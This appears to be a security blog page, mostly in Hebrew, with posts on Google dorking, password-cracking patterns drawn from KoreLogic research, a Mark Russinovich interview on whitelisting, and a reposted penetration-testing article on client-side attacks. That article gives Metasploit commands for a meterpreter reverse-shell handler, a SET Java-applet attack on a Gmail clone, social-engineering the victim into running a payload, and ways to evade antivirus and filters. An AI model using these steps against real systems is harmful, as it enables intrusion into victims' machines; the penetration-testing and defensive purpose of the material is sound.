Latest Security News

best Google search-FU ever new tool




הרצאות DEFCON 2012 מתחילות לזרום אט אט לtube , אחת מהם כבר כאן ומציגה כלי בגרסה חדשה לGOOGLE DORKING  - הטוב ביותר שראיתי עד היום.
הכלי מכיל עשרות פיצ'רים ולכן ממליץ ב ח ו ם לראות את ההרצאה של החברה האלו  כ א ן  
ניתן להוריד  מ כ א ן

יש לנו פיצוח!! ----more on passwords cracking




השנה האחרונה היתה עמוסה כרימון בדליפת מסדי נתונים המכילים ססמאות .

אתרי ענק כגון לינקדאין ורוק יו הותקפו בדרך כלל דרך הזרקת SQL וחשפו מיליוני סיסמאות משתמשים , חלקם מוצפנים (HASH) ו\חלקם לא .
חשיפה גדולה כזו של סיסמאות " עולם אמיתי" ,מעבר לשיקוף של מצב אבטחתי עגום של חברות גדולות במשק- מאפשר מחקר סטאטיסטי  וניתוח תבניות של בחירת סיסמאות ע"י המשתמשים ( ותתפלאו לדעת כמה אנחנו לא מקוריים בעליל..).

מחקר כזה נערך ע"י חברת kore logic security . החברה מנהלת תחרויות לפיצוח ססמאות ומפרסמת את שיטות הפיצוח הכוללות: הבנות סטאטיסטיות,רשימות מילים נפוצות , תבניות ( RULES) עבור john the ripper וכן את דירוג כלי הפריצה המומלצים לפי תוצאות התחרויות.

אנקדוטה קטנה שרציתי להתעקב עליה מדברת על כלי שלא היה ידוע לי בשם HASH CAT הכולל גם גרסת GUI .
 היחודיות של כלי זה מעבר לנוחות שלו הוא השימוש ב GPU ( כרטיסים גראפים) לביצוע פעולות הפיצוח - תומך עד שירשור של 120 כרטיסים !!! - הכלי הזה הוא גם בדרך כלל המנצח הגדול בתחריות פיצוח ססמאות הנערכות ב DEFCON  ע"י kore logic security .

ממליץ לקרא את המחקר ולהוריד את רשימת המילים.

אז מה ההאקרים למדו והפכו לתבניות פריצה לססיסמא :

חוקים קימים במנוע החוקים של john the ripper:

  1. הוספת מספרים בסוף הססמה
  2. אות גדולה בתחילת כל מילה
  3. הוספת ! לסיום מילה עם תחיליות אות גדולה
  4. הוספת 123 בתחילה או בסוף הססמה.
  5. וריאציות על שם המשתמש ( הוספת סימנים מיוחדים,מספרים וכו)
חוקים מורחבים שהוספו ע"י kore logic:
  1. 4 אותיות+4מספרים  או 5 אותיות +3 מספרים או 3 אותיות +5 מספרים. Nove2010  Fall2010
  2. הוספת 1234 בססמא בתחילתה או בסופה. - 1234pass  !QAZ1234
  3. שימוש בשנה הנוכחית כמספר בתוך הססמה -!Jan2012   2012!!   Work2012aha
  4. שימוש בשנה נוכחית או קודמת כמספר + סימן מיוחד  2010ly!!   2001MARK2010!!   2010#dec 
  5. חודשים וימים בתחילת באמצע או בסוף הססמא--January!2006  March#16  OctO2008$ Octo2**9   Octob!!05 Friday.56  Thursday99=
  6. הוספת סימנים מיוחדים בסוף הססמה או בהתחלת !1q1q1q1q !! -FRANCE#  BonJovi@ 
  7. תוספת סימנים מיוחדים בצורה " מיוחדת" Africa!1   AmyOct!1   Kar!dani1 T@Y!OR1  b@byg!r1  Amanda!1  A!lison1   We!come1 S!LVER1  Amelia7!1
  8. תבניות אצבעות - משתמשים אוהבים מאד להשתמש בססמאות לפי סידור המקשים במקלדת דוגמא:
    1. !1234qwe   !@#$QWE ASDFqwer !QWERTY  NHY^5tgb
  9. מילים הקשורות לסביבות פיתוח פרוד או בדיקות-Prod!111  prod@123 TEST-CO   test!ng

רשימות מילים להם הצלחה טובה ( ניתן להוריד מהאתר שלהם):


Seasons - Months - Years - First Names - Last Names - Cities - States -
Regions - Countries - "RockYou" List - Regions of India/China/USA -
Religious references (books of the Bible, lists of Gods, etc) - keyboard
combinations - 4 letter words - 5 letter words - 6 letter words - 7 letter
words - Sports Teams - Colleges - Client specific words - Dates -
Numbers - Common wordlists – Facebook Names List (‘fbnames’)

מסקנה אחת גורפת:

  1. סיבוך ססמאות ( password complexity ) לא גורמות למשתמש לבחור ססמאות "טובות יותר" אלא מכריכות את המשתמש להשתמש בטריקים או תבניות . תבניות אלו קל לצפות ולפצח בזמן קצר.
  2. סיסמאות גישה באינטרנט עוד פחות מבאובטחות וקלות לפריצה מזו של פנים תאגידים 
  3. יש לעבור ל 2 factor authentication  ככל הניתן (google,yahoo etc)
  4. תאגידים- ללמוד את התבניות הנפוצות בארגון ולהגביל באמצעים טכניים ( כן כן - נסו לפצח ססמאות של העובדים שלכם -))












מארק רוסינוביץ על מגמות באבטח מידע


מארק רוסינוביץ למי שלא יודע,הוא האדה שכתבתה את SYSINTERNALS TOOLS החינמיים המוכרים לכל אדמין ואיש מחשבים באשר הוא.
האגדה אומרת שהוא מבין במערכות מיקרוסופט יותר מהמפתחים של מערכות אילו עצמם -),
בסופו של דבר מיקרוסופט קנתה אותו לשורותיה אבל יאמר לזכותם כי השאירו את הכלים שהוא פיתח -חינמיים.
באחד הפודקאסטים שבו הוא התארח לאחרונה ומדבר על הספרים שהוא כותב
הוא מדבר על עתיד אבטחת המידע בעדן השלישי של עולם המחשבים - עידן הענן והמובייל.
העידן הראשון היה MAIN FRAME ,העידן השני הוא עידן ה CLIENT_SERVER

הנה הטרנסקריפט של השיחה ( בהזדמנות אני אתרגם)
מעניין מאוד:



MARK:  Well, the bigger trends, I think we're right in the middle of the third disruption in the computer industry, the first one being the mainframes, the second one being client-server, and this one being cloud and mobile.  So that's one that's affecting everybody and the way that everybody thinks about software, from enterprise developers to ISDs to consumers.  But underneath that, as far as security goes, I think that what we're seeing - and I've been a proponent of this form of security, the security technique, the security mechanism since shortly after 2000, when I started to really focus on what my software company, Winternals at the time, could do from a security perspective, and that is whitelisting.  Back then whitelisting was something that nobody used.  Windows and UNIX had some whitelisting capabilities, but very, very few people used it.  And that's been the case up until very recently.

And people I don't think are really aware of this, but now whitelisting has become one of the key security features of the modern client platforms.  When you look at iOS, for example, Apple's ecosystem, it's a complete whitelisted ecosystem.  The whitelist, you can only run the software on the phones that have been approved by Apple and curated by Apple.  Apple is essentially creating their whitelist in their Apple store.  And that has made those platforms - Android's got one.  It's not as well curated, so we've seen a problem with that.  And then Windows Phone's got a curated whitelist, as well, and Windows 8 does, too, that those whitelists, you see the dramatic impact on the security of the system by having that whitelisting in place.  Even if there is - and the sandboxing that goes with the whitelisting, as well.  So I think I feel somewhat vindicated because I've always believed whitelisting would come back and become one of the primary tools in a cybersecurity posture or platform.  And we're seeing that with the cloud platforms really adopting it and seeing the dramatic effects of that being in place.

Client Side Attacks


taken from :






Industrializing Client Side Attacks

Introduction

Cybercrime has evolved into an industry whose value in fraud and stolen property exceeded one trillion dollars in 2009. By contrast, in 2007, professional hacking represented a multibillion-dollar industry. What explains this rapid growth? Industrialization. Just as the Industrial Revolution advanced methods and accelerated assembly from single to mass production in the 19th century, today’s cybercrime industry has similarly transformed and automated itself to improve efficiency, scalability, and profitability.

The industrialization of hacking coincides with a critical shift in focus. Previously, hackers concentrated attacks on breaking perimeter defences. But today, the goal has changed. The objective is no longer perimeter penetration and defense. Today’s hacker is intent on seizing control of data and the applications that move this data. This is why attacks against Web applications constitute more than 60 percent of total attack attempts observed on the Internet.

Today's Hacking Scene 

Today’s complex hacking operation now utilizes teamwork, global coordination, and sophisticated criminal techniques designed to elude detection. In recent years, a clear definition of roles and responsibilities has developed within the hacking community forming a supply chain that resembles that of a drug cartel. Additionally, the machine of choice is the botnet – armies of unknowingly enlisted computers controlled by hackers. Modern botnets scan and probe the Web seeking to exploit vulnerabilities and extract valuable data, conduct brute force password attacks, disseminate spam, distribute malware, and manipulate search engine results. These botnets operate with the same comprehensiveness and efficiency used by Google spiders to index websites. Researchers estimate that some 14 million computers have already been enslaved by botnets. 

Improvements in automated and formalized attack tools and services have introduced a new set of security problems for businesses. Of the top 10 data breaches in 2009, half involved stolen laptops, while the other half involved Web and database assaults.

Client side attacks are on the rise

Client-side vulnerabilities are among the biggest threats facing users, nowadays's there has been a slight shift to the client side because server-side applications have been targets for attackers since 2001, and these applications have matured somewhat. Attackers are also going after weaknesses in desktop applications such as browsers, media players, common office applications and e-mail clients. The remedy is to maintain the most current application patch levels, keep antivirus software updated and seek and remove unauthorized applications.

Understanding client side attacks 

In order to understand client-side attacks, let us briefly describe server-side attacks that we can contrast to client-side attacks. Servers expose services that clients can interact with. These services are accessible to clients that would like to make use of these services. As a server exposes services, it exposes potential vulnerabilities that can be attacked. Merely running a server puts oneself at risk, because a hacker can initiate an attack on the server at any time. 

Client-side attacks are quite different. These are attacks that target vulnerabilities in client applications that interact with a malicious server or process malicious data. Here, the client initiates the connection that could result in an attack. If a client does not interact with a server, it is not at risk, because it doesn’t process any potentially harmful data sent from the server. 

A typical example of a client-side attack is a malicious web page targeting a specific browser vulnerability that, if the attack is successful, would give the malicious server complete control of the client system. Client-side attacks are not limited to the web setting, but can occur on any client/server pairs, for example e-mail, FTP, instant messenging, multimedia streaming, etc.

Clients are only protected in environments where access from internal clients to servers on the Internet is restricted via traditional defenses like firewalls or proxies. However, a firewall, unless combined with other technologies such as IPS, only restricts network traffic; once the traffic is permitted, a client interacting with a server is at risk. More advanced corporate server filtering solutions are available, but typically these only protect limited set of client technologies.

Drop-ing the payload

There are various way an a attacker can drop her payload to the targeted workstation or laptop, some of them are listed below:

Through clicking evil links hiding malicious payloads hold on a malicious server controlled by the attacker.
Through vulnerable web servers by either compromising them or exploiting vulnerabilities on them.
Through Man In The Middle attacks.
Through phishing e-mails also holding malicious payloads.
Through various other attacks that are out of the scope of this article.The following image shows one of the most popular ways to "seduce" a user into clicking on a malicious web site:


Note: This is an old fashioned attack approach, very well replicated by the penetration testing community during hacking attack. Of course social engineering is also used through out that process.

The actual attack simplified 

All you need to perform this type of attack is the Social Engineering Toolkit (SET) and Metasploit, well not exactly, that is not true if you are targeting high profile targets. But first lets explain the simplified version of the attack. In order the perform client side attack to a user that is NOT protected by some serious hardening such as a reverse SSL proxy with content inspection features and a firewall with proper egress filtering then the tools mentioned above will do the job. By using the tools described above the following steps have to be taken:

Set up a listener bind to a public IP or DNS name.
Demonize the listener. 
Research the victims laptop software and hardware. 
Social engineer the user to download and execute it to her laptop.
Use proper payloads for post exploiting the victim.Note: Again this is a simplified attack sequence and is not going to work in a laptop or workstation that is hardened and the user is not allowed to install software.

Setting up the listener

So after we successfully generate the desired payload, which by the way I named it ClickMe.exe, and verify that it is a valid executable file by issuing the file command we move forward on how to launch the handler on the attackers machine, so in order to do that we type the following commands in the order given below:

cd /pentest/exploits/framework3
./msfconsole 
msf > use exploit/multi/handler
msf exploit(handler)> set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler)> set LHOST publicIP
msf exploit(handler)> set LPORT 123
msf exploit(handler)> exploit -jNote: The attackers machine should be accessible some how from victims machine (e.g. by using a publicly static IP or DynDNS).

Generating the payload and setting up the clone

SET is specifically designed to perform advanced attacks against the human element. SET was designed to be released with the http://www.social-engineer.org launch and has quickly became a standard tool in a penetration testers arsenal. SET has a feature called “set-automate” which will take an answer file as an input and enter the commands in the menu mode for you. So for example if I wanted to do the Java Applet I would create a file with the following text:

1
2
1

https://gmail.com no

Now lets name the file mySET.txt, the command that will execute a java applet attack would be:

root@bt:/pentest/exploits/set# ./set-automate mySET.txt 

Note: The described configuration will launch multiple web-based attack from SET using the Java Applet attack method by embedding a malicious Java Applet to a gmail clone. SET will also launch the listener but it would better if you do it manually.

After a successful compromise 

If the victim is properly social engineered and execute the payload then the meterpreter agent will launch back a remote shell connection. The Meterpreter (short for Meta Interpreter) payload will give an attacker a presence in memory only payload, and reduce the attackers need to touch disk to zero. Metasploit will upload a DLL (Meterpreter) to the remote host; the uploaded DLL will be stored in the compromised processes heap. Meterpreter once loaded offers the attacker a plethora of options.

Once Meterpreter’s staged shellcode has been executed and Meterpreter has been loaded, communication begins. Meterpreter’s communication and extensibility are what makes it so valuable to an advanced attacker. For the purposes of this article think about the attacker as the client, and the victim as the server.Meterpreter uses a protocol called Type Length Value (TLV).

Why the above methods wont work on a corporate environment

When referring to a hardened corporate environment a set of prevention technologies is used to protect the user workstations such as anti-virus software, endpoint security software with personal firewall, e-mail gateways/anti-spam middle systems devices, web gateways performing deep content inspection to non-encrypted connections, reverse SSL proxies filtering all SSL connections that validate payload certificates and finally IDS/IPS devices are also included.

Many advanced payloads do not work very well running in x86-64 (Windows).
Very restrictive inbound and outbound firewall rules.
Authentication is required for outgoing connections.
Bypassing defenses

There are numerous techniques in defeating the all defenses mentioned above some of them are:

Code signing certificate for the payload (e.g. for the Meterpreter executable or the Meterpreter malicious Java Applet).
A SSL certificate from a trustworthy Certificate Authority, for the payload communication protocol.
Use costume communication protocol instead of the one used by the Meterpreter since you don't want to be detected and blocked because you’re mimicking the behavior of a well-known hacking tool.The Metasploit meterpreter reverse_http(s) payload contains the string "Meterpreter" on the User-Agent variable.
Create a custom payload or add your own evasion techniques, this way almost any signature detection system can be bypassed.
Avoid process dll injection while delivering the payload. The latest versions of windows enforce session separation so some of the methods may not work on the latest version of windows like windows 7/8.Why code signing is not secure

Code signing can provide several valuable features. The most common use of code signing is to provide security when deploying; in some programming languages, it can also be used to help prevent namespace conflicts. Almost every code signing implementation will provide some sort of digital signature mechanism to verify the identity of the author or build system, and a checksum to verify that the object has not been modified. It can also be used to provide versioning information about an object or to store other meta data about an object.

Many code signing implementations will provide a way to sign the code using a system involving a pair of keys, one public and one private, similar to the process employed by SSL or SSH. For example, in the case of .NET, the developer uses a private key to sign their libraries or executables each time they build. This key will be unique to a developer or group or sometimes per application or object. The developer can either generate this key on their own or obtain one from a trusted certificate authority (CA).Of course it is not so difficult to sign a malicious code, unauthorized digital certificates have been found that chain up to a Microsoft sub-certification authority issued under the Microsoft Root Authority that can be used to sign malicious code. 

More specifically components of the Flame malware were found to be signed with a certificate that chained up to the Microsoft Enforced Licensing Intermediate PCA certificate authority, and ultimately, to the Microsoft Root Authority. This code-signing certificate came by way of the Terminal Server Licensing Service that operate to issue certificates to customers for ancillary PKI-based functions in their enterprise. Such a certificate could (without this update being applied) also allow attackers to sign code that validates as having been produced by Microsoft.

Why valid certificates are not secure

Obtaining a valid certificate and using it with SET is easy. The fact that this is easy can be verified by numerous web site reporting compromised certificates, one of them is this one:

http://www.ccssforum.org/malware-certificates.phpThis is an extract from the web site with a long list of compromised certificates: "The following is a list of digital certificates that have been reported by the forum as possibly being associated with malware to various certificate authorities. This information is intended to help prevent companies from using digital certificates to add legitimacy to malware and encourage prompt revocation of such certificates." 

Obfuscating Meterpreter 

It is really easy to obfuscate Meterpreter, in the following post http://spareclockcycles.org/tag/meterpreter/ the person that owns the blog explains that he/she managed to obfuscate the Meterpreter by writing a XOR program in python. The following extract is from the blog:

"What surprised me during all of this was how ridiculously easy it is to do just that. About 60 lines of Python (I know, way too many) and 20 lines of C was all it took to take my detection rate from 40% to 1% (32 bit version / 64 bit version). The Python code largely is just to automate things, but it also made the XOR crypting easier and allowed me to more easily embed arbitrary executables in my code (which is useful in embedding other, non-metasploit payloads)."

Epilogue

The drop-ing payload is a very important part of a social engineering attack. If you are doing all the other stages like a professional but use an average payload you won't get the great results you expect. Client-side attacks and social engineering should be included in every penetration testing engagement, if you are not testing for social engineering attacks a very significant attack vector that real hackers use will be skipped. 


References: